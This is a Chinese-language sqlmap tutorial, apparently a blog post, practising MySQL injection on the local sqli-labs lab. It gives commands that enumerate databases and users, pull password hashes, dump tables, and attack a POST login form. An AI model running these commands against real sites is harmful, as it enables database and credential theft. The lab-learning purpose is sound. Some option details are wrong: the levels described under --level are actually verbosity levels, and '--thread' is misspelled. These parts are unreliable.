SQLMAP用于mysql注入

针对http://127.0.0.1/sqli-labs-master/Less-1/学习SQL Map基础操作语句

一.检测注入点是否可用

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1"
参数：
-u：指定注入点url
结果：

图片.png

二.暴库

一条命令就可以暴出该MySQL中所有数据库名称，命令如下
C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
参数：
--dbs：dbs前面有两条杠

图片.png

三.web当前使用的数据库

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

图片.png

四.web服务器使用账户

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user

图片.png

五.列出MySQL所有用户

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --users

图片.png

六.数据库账户与密码

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --passwords

图片.png

七.列出数据库中的表

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
参数：
-D 指定数据库
--tables 列出所有表

图片.png

八.列出表中字段

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
参数
-D：指定数据库名称
-T：指定要列出字段的表
--columns：指定列出字段

图片.png

九.暴字段内容

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C"id,password,username" --dump
-C：指定要暴的字段
--dump：将结果导出

图片.png

图片.png

十 -p 指定注入参数

图片.png

十一 --dump-all 列出所有存在的数据库中的所有内容

图片.png

十二 --thread 线程

sqlmap默认是单线程，--thread 10

图片.png

十二.sqlmap运行的级别--level

sqlmap中共有七个等级,默认等级为1

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。（默认）
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
等级是指测试结果的输出的详细程度，根据测试，--level等级的提高得到的效果远比-v等级提高得到的效果好，如果你想看到sqlmap发送的测试payload最好的等级就是3。

POST登陆框注入

Less-11

图片.png

注入方式一：

1.用Burp抓包，然后保存抓取到的内容。例如：保存为post.txt,然后把它放至某个目录下

图片.png

图片.png

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]对于剩余的测试，您想要包括所有针对“MySQL”扩展提供的级别（1）和风险（1）值的测试吗？ [Y/n] 输入"N"

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]POST参数'uname'是脆弱的。 你想继续测试其他人（如果有的话）吗？[y/N] 输入"Y"

3.猜表
选择一个数据库，比如security
C:\Python27\sqlmap>python sqlmap.py -r "C:\Users\liuxianglai\Desktop\post.txt" -p uname -D security --tables

图片.png

4.猜列
C:\Python27\sqlmap>python sqlmap.py -r "C:\Users\liuxianglai\Desktop\post.txt" -p uname -D security -T users --columns

图片.png

注入方式二：自动搜索表单的方式

C:\Python27\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms(form表单action=" ",也就是发送给本页面自己)

图片.png

注入方式三：指定一个参数的方法

C:\Python27\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data "uname=1&passwd=1"

图片.png